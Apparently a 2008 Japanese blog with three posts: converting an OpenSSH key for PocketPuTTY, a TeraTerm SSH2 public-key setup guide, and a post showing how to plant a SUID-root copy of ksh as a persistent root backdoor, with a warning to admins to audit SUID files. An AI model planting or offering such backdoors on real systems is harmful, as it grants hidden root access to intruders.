2008年3月16日日曜日

Advanced/W-ZERO3[es]でSSH2で公開鍵認証

アドエス(WS011SH)で SSLVPN で SSH  のつづきです。
参考:SSH2で公開鍵認証を利用する

前回までに
・Advanced/W-ZERO3[es]上でSSH2接続が使えるPocketPuTTYの入手
・サーバ上で公開鍵認証を行うためのsshd.confの設定
を行いました。


今回行いたいことは

W-ZERO3 ------(ssh2)--------> Linuxサーバ
Aの秘密鍵             Aの公開鍵は認証済みの状態

となります。
上記の[Aの秘密鍵]とは id_rsaですが、W-ZERO3上で動作する PocketPuTTY では
Faqinなことに OpenSSHで作成したid_rsaのままでは利用できません。
そのためid_rsaファイルをPuTTY形式に変換する必要があります。
全くもってPuxxyな野郎だ!



PuTTY Download Page
からhttp://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exeをダウンロードして下さい。

puttygen.exe はWindowsクライアント側で各種sshのkey pairを作成する機能の他に
OpenSSHの鍵ファイルの変換機能もあります。


以下の手順で
id_rsaの秘密鍵をPuTTY形式に変換したもの→id_rsa.ppkを作成します。


1.puttygen.exe を起動する。




2.既存のid_rsaファイルを開く

[File] → [Load private key] を選択します。

ダイアログが開くので、ファイル形式を
[PuTTY Private Key Files(*.ppk)] から [All Files(*.*)] にして

全表示にした上で既存の id_rsa ファイルを指定します。





すると鍵を作成した時に決めたパスフレーズを聞かれます。
(前回Textのroot99hogeにあたるもの)









パスフレーズが正しければ
Successfully imported foreign key
(OpenSSH SSH-2 private key).
To use this key with PuTTY, you need to
use the "Save private key" command to
save it in PuTTY's own format.
と表示されます。




3.PuTTY形式に変換する。

●SSH-2 RSA のチェックが入っていることを確認し
[Save private key] ボタンを押します。











ファイル名を id_rsa.ppk として保存先を指定して下さい。






あとは、このid_rsa.ppkファイルを W-ZERO3 側のPocketPuTTYフォルダに入れておけばOK。

4.PocketPuTTYの設定

今回使用しているバージョンは
PocketPuTTY.wm6.2007-11-22.zip
です。もし画面の構成が違う場合はバージョンを確認して下さい。

[SSHタブ]を選択し、
先ほど作成した id_rsa.ppk ファイルをフルパスで指定します。






[Dataタブ] では使用するユーザ名を指定します。
Terminalサイズ等は特に変更する必要はありません。










最後に、[Sessionタブ]から

接続するサーバ名を [Host Name (or IP address)] の部分に
記述。
先ほどのタブで設定した内容を名前をつけて保存します。
[Save]ボタンを押すと、[Stored session] 欄に表示されますので
次回からは、その行を選択して [Load]ボタンを押すことで
いちいち入力する手間が省けます。



接続するとこんな画面が出ます
Using username "root99".
Authenticating with public key "imported-openssh-key"
Passphrase for key "imported-openssh-key" :

ここでパスフレーズを入力してログイン完了。



              つづく







2008年3月7日金曜日

BackDoorを作成する方法は?

・SetUID とは
UNIXのファイルには、UID(ユーザーID)とGID(グループID)があり、それぞれの単位で
ファイルを参照・書き込み・実行といった権限を設定することができます。

例えば、/etc/shadowファイルはrootユーザにのみパーミッションがついていますから
一般ユーザは読み書きすることができません。
なのに passwdコマンドを使って自分のログイン・パスワードを変更、つまり shadowファイルを
書き換えることが可能です。

どうしてこんなことが可能になるんでしょう? passwdコマンドの権限を見てみましょう。

-rwsr-xr-x 1 root root 22984  1月 7  2007 /usr/bin/passwd

所有者がrootになっていて権限のところが rws となっています。
これはプログラムに所有者のUID を Set したという意味の表示で、どのユーザから実行したとしても
実行中はrootの権限で動きます。だから shadowファイルの変更もできていたんですね。



hogeというコマンドにSetUIDする場合は次のコマンドで行います。
#chmod u+s hoge もしくは #chmod 4755 hoge



さて、
世の中にはRootKitというものがありまして、これをコンパイルしてどっかに置いといて
一般ユーザで実行したらアラ不思議 root になってしまうという物です。
要するに、rootでSuIDの仕掛けを施した普通のコマンドに見えるプログラムのことですね。


では簡単に作ってみることにしましょう。

えーと・・・。
単に /bin/sh に SuID するだけです・・・。

# whoami
root        ←※rootで実行します。

# cp /bin/sh /home/root99/changeroot.sh
#chmod 4755 /home/root99/changeroot.sh ←※SuIDします。

# ls -l /home/root99/changeroot.sh
-rwsr-xr-x 1 root root 722684 3月15 16:22 /home/root99/changeroot.sh*

# exit
# whoami      ←※一般ユーザに戻る
root99

次に一般ユーザでこのプログラムを実行したらrootで動くはず。
# /home/root99/changeroot.sh ←※実行
changeroot.sh-3.1$
changeroot.sh-3.1$ whoami     ←※ユーザを確認してみる
root99


アレっ?? 一般ユーザのままですね。



実は Linux の /bin/sh と /bin/bash には SuID した場合の対策が取られています。
手元の Unux で確認したところ、Linux 以外のshは正常にSuIDで機能しました。

#cp /bin/ksh /home/root99/chgroot.ksh
#chmod 4755 /home/root99/chgroot.ksh   ←※コピーしたkshにSuID

#/home/root99/chgroot.ksh    ←※実行
#
# whoami
root                    ←※rootになった。




上記のように、一回でもrootになることができれば、いつでもrootになれるコマンドを作ることが
できます。これが即ち rootkitの基本 。
定期的に SuIDビットの立ったファイルをチェックしてない管理者がいたとしたら、そのサーバは
知らぬ間にクラッカーの巣になっているかも知れませんよ?


※shell scriptにはセキュリティ上の理由からSuIDが正常に機能しません。
 perl の場合はperl-suidperlモジュールをインストールすることで可能です。



次回は、SuID ファイルなんかチェックしても無駄無駄無駄ぁぁぁぁぁぁ!!!!
です。

2008年3月5日水曜日

TeraTermからSSH2で公開鍵認証

●Windowsから公開認証鍵を利用する

ググったら、出来ない君な設定方法が多いので、この通りやったら絶対できるはず
というテキストをメモ代わりに置いておきます。

動作検証は以下の通りな感じ
SentOS5
 openssh-4.3p2-24.el5
 openssh-server-4.3p2-24.el5
 openssh-clients-4.3p2-24.el5

RedHat EL4/WS3
 openssh-server-3.6.1p2-33.30.14
 openssh-3.6.1p2-33.30.14
 openssh-clients-3.6.1p2-33.30.14



まずは、telnetクライアントソフトを用意しましょう。

・UTF-8 TeraTerm Pro with TTSSH2  4.58 2008-02-29 22:16
http://sourceforge.jp/projects/ttssh2/

いろいろありますが、TeraTerm がお勧めです。っていうかコレ以外ダメです。
しかし、上記以外から TeraTerm 落としてきて「SSH2で接続できません!」などと、のたまわれても
サポート出来ません。ちょっと前のだと 1.5 までしか対応してません。

あと最近主流になってきた PuTTY も無理です。理由は名前が卑猥だからです。



1.鍵の作成

Linuxサーバ側で鍵を作成します。 (鍵ペアを作るだけなので、OpenSSHに準拠(略)ならどこでも良い)

[root99@~/.ssh]# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/root99/.ssh/id_rsa): <エンター>
Enter passphrase (empty for no passphrase): root99hoge (実際には見えない)
Enter same passphrase again: root99hoge (実際には見えない)
Your identification has been saved in /home/root99/.ssh/id_rsa.
Your public key has been saved in /home/root99/.ssh/id_rsa.pub.
The key fingerprint is:c5:e0:fc:1b:94:f5:f4:89:7e:64:da:3f:39:cb:b9:91 root99@server

水色の部分はパスフレーズです。ログインのパスワードとは別物なんですが、分からなければ
まぁ、パスワードみたいなもんなので好きに決めて下さい。
これで鍵ペアが作成できました。


[root99@server ~/.ssh]# ls -lartF
drwxr-x--- 6 root99 root99 4096 2月 10 14:43 ../
-rw-r--r-- 1 root99 root99 239 12月 27 21:23 known_hosts
-rw------- 1 root99 root99 391 3月 5 06:14 id_rsa.pub
-rw------- 1 root99 root99 1743 3月 5 06:14 id_rsa
drwx------ 2 root99 root99 4096 3月 5 06:14 ./

こんな風になってますか?なってなければ
# chmod 600 id_rsa.pub id_rsa
しといて下さいね。



これからやりたいことは、

クライアントA -----SSH接続---→ サーバ
Aの秘密鍵                Aの公開鍵は認証済みの状態

という風にしたいわけです。 さっき作成したファイルで言うと
id_rsa     秘密鍵
id_rsa.pub 公開鍵
という組み合わせです。
ですので id_rsa ファイルはクライアント側で使用する物ですので、サーバで鍵ペアを作った場合は
ダウンロードして、クライアントの TeraTermフォルダにでも入れておいて下さい。
ダウンロードし終わったらサーバ側の id_rsa ファイルは削除しておきましょう。
他人に盗まれたらせっかく認証鍵を作った意味が無いですからね。


2.サーバへの認証
先ほどの公開鍵をサーバ側で認証済みの状態にするにはどうすれば良いかというと
ユーザーディレクトリの下、つまり /home/root99/.ssh/authorized_keys に記述を追加することで
可能です。
既存ファイルが無い場合は新しく作ってもいいですが
# mv /home/root99/.ssh/id_rsa.pub  /home/root99/.ssh/authorized_keys
としても同じことですね?
アクセス権が
-rw------- 1 root99 root99 221 3月 5 04:46 authorized_keys
となっていることを確認して下さい。



3.TeraTermの設定
TeraTerm を起動して [Setup] → [SSH Authentication...] を選択
User name: にログインアカウントを入力。
[Use RSA/DSA key to log in]ボタンにチェックを入れ、先ほどの[id_rsa]を選択して下さい。
[OK]ボタンを押し、
[Setup] → [Save setup...]で、TERATERM.ini ファイルを保存しておきましょう。
ちなみに、ini ファイル名は何でも構いませんので、サーバが複数ある場合は分けて作成しても
良いでしょう。


4.sshd_configの編集
これまでは一般ユーザの権限で作業していましたが、次はroot権限で作業します。

# vi /etc/ssh/sshd_config
#必ずする設定
RSAAuthentication yes #RSA認証を使う
PubkeyAuthentication yes #公開認証鍵を使う
PasswordAuthentication no #パスワードを使用しない(パスフレーズを使用する)
AuthorizedKeysFile .ssh/authorized_keys #ここのファイル名と合わせること!

#あった方が良い設定
PermitRootLogin no #rootでのログインを許可しない
ChallengeResponseAuthentication no #チャレンジレスポンス認証を許可しない
PermitEmptyPassword no #パスワード無しを許可しない
RhostsRSAAuthentication no #サーバ間のパス無しアクセスを許可しない
IgnoreRhosts yes #サーバ間のパス無しアクセスを許可しない
HostbasedAuthentication no #特定のホストのパス無しアクセスを許可しない
IgnoreUserKnownHosts yes #拒否するホストを設定するかもしれない


sshdを再起動して反映する
# service sshd restart または # /etc/init.d/sshd restart
としてサービスの再起動をします。
ちなみに、初心者の方は
「ssh でつないで作業してる時にサービス再起動していいのだろうか?」
と心配するかも知れませんが、今現在繋がってるセッションは維持されますので
サービスを停止したとしても大丈夫です。

[root@server /home/root]# /etc/init.d/sshd restart
sshd を停止中: [ OK ]
sshd を起動中: [ OK ]

正常に起動できたら、[ OK ] となるはず。これでサーバ側の設定も完了しました。
クライアントから接続できるか確認してみて下さい。

TeraTerm からのアクセスの場合は
TCP/IP Host:[ hoge.example.com ]
Service ●SSH SSH version: [ SSH2 ]
の状態で [OK] ボタンを押すと、先ほどの id_rsa キーを設定した画面が出てきますので、
認証鍵のペアを作成した時に入力したパスフレーズを
Passphrase: [ ] に入力します。 今回の例だと root99hoge
●Use RSA/DSA key to log in Private key file [ id_rsa ]
とチェックが入っていることを必ず確認して下さい。

他の Unix クライアントからアクセスする場合は
# ssh -i /home/hoge/id_rsa serverB.example.com -l root99
として、秘密鍵とユーザ名の指定をします。



※おまけ   TeraTermマクロの書き方 例(root99.ttl ) 
;Macroココカラ============================================
username = 'root99' ;ログインユーザ名
hostname = 'xxx.xxx.xxx.xxx' ;サーバのIPアドレス
LinuxPrompt = 'root99' ;ログインに成功した時に表示される文字列
PasswordPrompt = 'パスワード:' ;パスワードを要求される時に表示される文字列
getpassword 'password.dat' 'passwordROOT99' PasswordROOT99

msg = hostname
strconcat msg ':22 /ssh /KR=UTF8 /KT=UTF8 /F=TTERM001.INI /keyfile=id_rsa /auth=publickey /user='
strconcat msg username
strconcat msg ' /passwd='
strconcat msg PasswordROOT99
connect msg
settitle 'hoge.example.jp'

wait LinuxPrompt
sendln 'su -' ;自動的にrootになりたければここから下も記述
wait PasswordPrompt
getpassword 'password.dat' 'passwordROOT' PasswordROOT
sendln PasswordROOT

sendln "cd /home/root/"
sendln "alias ll='ls -lartF --color=none'"

;Macroココマデ============================================


完成したら root99.ttl アイコンをWクリックしてみましょう。
一番最初の実行時のみパスワードを聞いてきます。
(もし入力に失敗したら、TeraTermディレクトリのpassword.datの中の該当行を削除)
自動的に接続して ROOT にまでなれたら成功。

.